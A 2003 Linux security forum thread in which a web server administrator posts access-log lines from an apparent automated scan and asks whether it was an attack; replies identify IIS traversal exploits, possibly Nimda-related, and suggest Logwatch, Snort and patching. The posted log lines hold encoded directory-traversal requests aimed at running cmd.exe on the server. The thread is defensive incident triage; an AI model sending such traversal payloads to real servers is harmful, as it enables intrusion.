Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here. |
Notices |
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
Are you new to LinuxQuestions.org? Visit the following links:
Site Howto |
Site FAQ |
Sitemap |
Register Now
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
|
|
11-15-2003, 03:03 AM
|
#1
|
Member
Registered: Mar 2003
Location: Macondo
Distribution: Mandrake 9.1, 10.1, SuSE 8.1 pro, 10.1, Red Hat 8.0/9.0
Posts: 380
Rep:
|
Did we just get hacked?
Hello All,
I was looking at our Web Server log files last night and I saw what I think is a hack attempt. I am not sure, but it seems like the person thought this was a Windows box and I see that they tried to get a hold of cmd.exe, thus a Windows config file which I assume was meant for not so friendly purposes...can anybody give me a hint if this is indeed a hack attack???
Here is a cut from the logs:
172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 283
172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281
172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 338
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
172.190.33.167 - - [14/Nov/2003:21:07:08 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
|
|
|
11-15-2003, 03:15 AM
|
#2
|
LQ Newbie
Registered: Nov 2003
Location: Germany
Distribution: Slackware 7.0 - 10.0
Posts: 26
Rep:
|
hi,
looks like a part of an IIS exploit.
try: http://securityfocus.com/ for more info.
There was a worm used this code too, can't rember it's name something like nimda!?
|
|
|
11-15-2003, 03:22 AM
|
#3
|
Member
Registered: Mar 2003
Location: Macondo
Distribution: Mandrake 9.1, 10.1, SuSE 8.1 pro, 10.1, Red Hat 8.0/9.0
Posts: 380
Original Poster
Rep:
|
This person tried to get in through my Web Server, thus port 80 in this case, but how can I monitor the rest of my ports?
|
|
|
11-15-2003, 03:39 AM
|
#4
|
Senior Member
Registered: Jul 2003
Location: Silicon Valley, USA
Distribution: OpenBSD 4.6, OS X 10.6.2, CentOS 4 & 5
Posts: 3,660
Rep:
|
Well, you don't really monitor "ports" per se, but rather applications (after all, it's not good hitting a port if nothing exploitable is listening on it for traffic). You should review all your application logs regularly for suspicious behavior. There are several scripts out there to pick out odd log entries and bring them to your attention. Logwatch is one of them that comes to mind, but there are many others.
For monitoring all network traffic you'll want a Network Intrusion Detection System. Snort is by far the most popular of these. Nearly every Linux and BSD distribution has a pre-built package with Snort. You can also check www.snort.org.
|
|
|
11-17-2003, 09:11 AM
|
#5
|
Member
Registered: Feb 2003
Location: Somewhere, UK
Distribution: Slack, OpenBSD, Debian, SuSE
Posts: 189
Rep:
|
if you run an IDS for any period of time you'll learn that your machine will be scanned/tested for these IIS exploits nearly every day, its very common, just make sure you dont run it or if you do, patch it to buggery, patch patch patch patch and you'll be ok, usually its just oportunistic script kiddies scanning large blocks
|
|
|
All times are GMT -5. The time now is 12:42 AM.
|
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.
|
Latest Threads
LQ News
|
|